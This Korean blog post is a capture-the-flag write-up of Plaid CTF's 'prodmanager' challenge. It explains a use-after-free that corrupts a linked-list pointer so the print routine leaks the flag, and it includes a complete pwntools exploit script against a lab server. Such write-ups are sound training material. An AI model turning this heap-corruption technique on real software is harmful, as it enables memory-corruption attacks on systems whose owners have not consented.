y0u_bat

Plaid CTF - prodmanager 본문

CTF

Plaid CTF - prodmanager

유뱃 2017. 1. 13. 23:41

Plaid CTF - prodmanager


1. 보호 기법


2. User After Free + Flag Leak

UAF를 이용해서 더블링크드리스트의 포인터를 조작하여, Print하는 부분의 주소를 flag주소로 변경하여, Flag를 leak하게 하면 된다.


flag_get 함수를 보면 flag.txt를 읽어와서 0x804c3e0 주소에 write하는것을 볼 수 있다.






Create_product함수에서는 상품을 생성하는데, 이름이랑, 가격을 받아서 malloc(76)한 곳에 sub_8048D54 함수내부에서 복사 해준다.

그리고 sub_8048DC8은 링크드리스트 설정하는 부분이다.

print 하기 위해서는 상품을 3개 만들고 product manager에 최소 3개를 add 해줘야지 그때부터 print 할 수 있다.






상품 3개 만들고 이함수로 그상품 3개를 추가 해주면 된다.

그리고 2번째 상품을 remove(free) 시켜준다.

그다음 create_profile 함수로 uaf해서 그자리에 다시 할당한다.






uaf 일어나서 free한 2번상품에 다시 할당 할수있고, write 또한 가능하다.




4번 메뉴를 통해서 manager 추가한 상품들을 print 할수있다. *v1이 price v1+6가 name

여기서 중요한거는 sub_80494A0함수인데, 여기서 링크드리스트를 설정하면서, 출력시킬 해당상품의 청크 주소를 리턴한다.

아까 uaf 하면서 write할때 링크드리스트의 포인터부분을 write 하여, 저 함수의 리턴값이 flag-24 의 주소가 나오게끔 만들어주어,

printf할때 v1+6 즉 *(v1+24) flag-24+24가 print 되므로 flag가 출력 될것이다.


Exploit.py

 
from pwn import *
s = remote("192.168.207.186",1134)
raw_input()
flag = 0x804C3E0
def create_product(name,price):
    s.sendline("1")
    print s.recvuntil("Enter product name: ")
    s.sendline(str(name))
    print s.recvuntil("Enter product price: ")
    s.sendline(str(price))
    print s.recvuntil("Input: ")
def remove_product(name):
    s.sendline("2")
    print s.recvuntil("Which product name would you like to remove: ")
    s.sendline(str(name))
    print s.recvuntil("Input: ")
def add_manager(name):
    s.sendline("3")
    print s.recvuntil("Which product name would you like to add: ")
    s.sendline(str(name))
    print s.recvuntil("Input: ")
def create_profile(data):
    s.sendline("5")
    print s.recvuntil("Creating profile!\n")
    s.sendline(str(data))
    print s.recvuntil("Input: ")
def see_remove_manager():
    s.sendline("4")
print s.recvuntil("Input: ")
create_product("test1","1000")
create_product("test2","2000")
create_product("test3","3000")
add_manager("test1")
add_manager("test2")
add_manager("test3")
remove_product("test2")
payload = p32(0x7d0)
payload += p32(0x804C3E0 - 24)*5
create_profile(payload)
see_remove_manager()
s.interactive()





'CTF' 카테고리의 다른 글

SECCON 2016-tinypad - 300pt  (0) 2017.02.07
Bitsctf Command_Line - 20pt  (0) 2017.02.05
Christmas - who is solo?  (5) 2017.01.12
.  (0) 2017.01.10
[Defcon 2014] Babyfirst heap  (0) 2017.01.09
Comments